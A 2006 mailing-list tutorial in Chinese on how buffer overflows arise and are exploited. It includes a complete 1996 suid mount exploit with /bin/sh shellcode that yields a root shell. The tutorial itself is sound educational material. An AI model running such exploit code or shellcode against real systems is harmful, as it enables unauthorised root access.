缓冲区溢出漏洞的原理及对攻击的防护

82 views
Skip to first unread message

10...@1024m.com

unread,
Nov 16, 2006, 10:02:57 PM11/16/06
to top...@googlegroups.com, max...@googlegroups.com, NetMe...@googlegroups.com, eMee...@googlegroups.com, Netwo...@googlegroups.com, web...@googlegroups.com
在过去的十年中,以缓冲区溢出为攻击类型的安全漏洞是最为常见的一种形式。更为严
重的是,缓冲区溢出漏洞占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的
Internet用户有机会获得一台主机的部分或全部的控制权!由于这类攻击使任何人都有
可能取得主机的控制权,所以它代表了一类极其严重的安全威胁。

缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太
普通了,并且易于实现。而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于
缓冲区溢出漏洞给予了攻击者所想要的一切:殖入并且执行攻击代码。被殖入的攻击代
码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。本文简
单介绍了缓冲区溢出的基本原理和预防办法。


一、缓冲区溢出的概念和原理

缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位
置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的
,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓
冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的
存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞
可以执行任意指令,甚至可以取得系统root特级权限。

缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,
随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的
程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的
数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机
器的内存里,通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所
在。但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于
把机器拱手相让了。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

example1.c
void func1(char *input) {
char buffer[16];
strcpy(buffer, input);
}

上面的strcpy()将直接吧input中的内容copy到buffer中。这样只要input的长度
大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函
数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的
getc(),fgetc(),getchar()等。

当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错
误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户
shell,再通过shell执行其他命令。如果该程序属于root且有suid权限的话,攻击者就
获得了一个有root权限的shell,便可以对系统进行任意操作了。

请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel
x86 CPU的Linux系统。对其他平台来说,本文的概念同样适用,但程序要做相应修改。


二、制造缓冲区溢出

一个程序在内存中通常分为程序段、数据段和堆栈三部分。程序段里放着程序的
机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在
内存中,它们的位置是:

当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存
指令寄存器(IP)中的内容作为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);
然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,
把SP减去适当的数值。以下面程序为例:

example2.c
void func1(char * input) {
char buffer[16];
strcpy(buffer, input);
}
void main() {
char longstring[256];
int i;
for( i = 0; i < 255; i++)
longstring [i] = 'B';
func1(longstring);
}

当调用函数func1()时,堆栈如下:

不用说,程序执行的结果是"Segmentation fault (core dumped)"或类似的出错
信息。因为从buffer开始的256个字节都将被* input的内容'B'覆盖,包括sfp, ret,甚
至*input。'B'的16进值为0x41,所以函数的返回地址变成了0x41414141,这超出了程
序的地址空间,所以出现段错误。

_________________________________________________________________
与联机的朋友进行交流,请使用 MSN Messenger: http://messenger.msn.com/cn

10...@1024m.com

unread,
Nov 16, 2006, 10:03:38 PM11/16/06
to top...@googlegroups.com, max...@googlegroups.com, NetMe...@googlegroups.com, eMee...@googlegroups.com, Netwo...@googlegroups.com, web...@googlegroups.com
三、缓冲区溢出漏洞攻击方式

缓冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权
限。一般利用缓冲区溢出漏洞攻击root程序,大都通过执行类似“exec(sh)”的执行代
码来获得root 的shell。黑客要达到目的通常要完成两个任务,就是在程序的地址空间
里安排适当的代码和通过适当的初始化寄存器和存储器,让程序跳转到安排好的地址空
间执行。

1、在程序的地址空间里安排适当的代码
在程序的地址空间里安排适当的代码往往是相对简单的。如果要攻击的代码在所
攻击程序中已经存在了,那么就简单地对代码传递一些参数,然后使程序跳转到目标中
就可以完成了。攻击代码要求执行“exec(‘/bin/sh’)”,而在libc库中的代码执行
“exec(arg)”,其中的“arg”是个指向字符串的指针参数,只要把传入的参数指针修
改指向“/bin/sh”,然后再跳转到libc库中的响应指令序列就可以了。当然,很多时
候这个可能性是很小的,那么就得用一种叫“植入法”的方式来完成了。当向要攻击的
程序里输入一个字符串时,程序就会把这个字符串放到缓冲区里,这个字符串包含的数
据是可以在这个所攻击的目标的硬件平台上运行的指令序列。缓冲区可以设在:堆栈(
自动变量)、堆(动态分配的)和静态数据区(初始化或者未初始化的数据)等的任何
地方。也可以不必为达到这个目的而溢出任何缓冲区,只要找到足够的空间来放置这些
攻击代码就够了。

2、控制程序转移到攻击代码的形式
缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程,使它跳转到攻击代码,最
为基本的就是溢出一个没有检查或者其他漏洞的缓冲区,这样做就会扰乱程序的正常执
行次序。通过溢出某缓冲区,可以改写相近程序的空间而直接跳转过系统对身份的验
证。原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。但因不同地方的
定位相异,所以也就带出了多种转移方式。

(1)Function Pointers(函数指针)
在程序中,“void (* foo) ( )”声明了个返回值为“void” Function
Pointers的变量“foo”。Function Pointers可以用来定位任意地址空间,攻击时只需
要在任意空间里的Function Pointers邻近处找到一个能够溢出的缓冲区,然后用溢出
来改变Function Pointers。当程序通过Function Pointers调用函数,程序的流程就会
实现。

(2)Activation Records(激活记录)
当一个函数调用发生时,堆栈中会留驻一个Activation Records,它包含了函数
结束时返回的地址。执行溢出这些自动变量,使这个返回的地址指向攻击代码,再通过
改变程序的返回地址。当函数调用结束时,程序就会跳转到事先所设定的地址,而不是
原来的地址。这样的溢出方式也是较常见的。

(3)Longjmp buffers(长跳转缓冲区)
在C语言中包含了一个简单的检验/恢复系统,称为“setjmp/longjmp”,意思是
在检验点设定“setjmp(buffer)”,用longjmp(buffer)“来恢复检验点。如果攻击时
能够进入缓冲区的空间,感觉“longjmp(buffer)”实际上是跳转到攻击的代码。像
Function Pointers一样,longjmp缓冲区能够指向任何地方,所以找到一个可供溢出的
缓冲区是最先应该做的事情。

3、植入综合代码和流程控制
常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和Activation
Records。攻击时定位在一个可供溢出的自动变量,然后向程序传递一个很大的字符串
,在引发缓冲区溢出改变Activation Records的同时植入代码(权因C在习惯上只为用
户和参数开辟很小的缓冲区)。植入代码和缓冲区溢出不一定要一次性完成,可以在一
个缓冲区内放置代码(这个时候并不能溢出缓冲区),然后通过溢出另一个缓冲区来转
移程序的指针。这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。如果
想使用已经驻留的代码不需要再外部植入的时候,通常必须先把代码做为参数。在libc
(熟悉C的朋友应该知道,现在几乎所有的C程序连接都是利用它来连接的)中的一部分
代码段会执行“exec(something)”,当中的something就是参数,使用缓冲区溢出改变
程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。

程序编写的错误造成网络的不安全性也应当受到重视,因为它的不安全性已被
缓冲区溢出表现得淋漓尽致了。


四、利用缓冲区溢出进行的系统攻击

如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在哪儿放入
shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试
缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百至上千次
,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP
,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。
这样就大大增加了猜中的可能性。下面是一个缓冲区溢出攻击的实例,它利用了系统程
序mount的漏洞:

example5.c
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,
然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地
址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出
,其缓冲区被buff覆盖,而返回地址将指向NOP指令。

由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得
一个具有root权限的shell。

_________________________________________________________________
免费下载 MSN Explorer: http://explorer.msn.com/lccn/

Reply all
Reply to author
Forward
0 new messages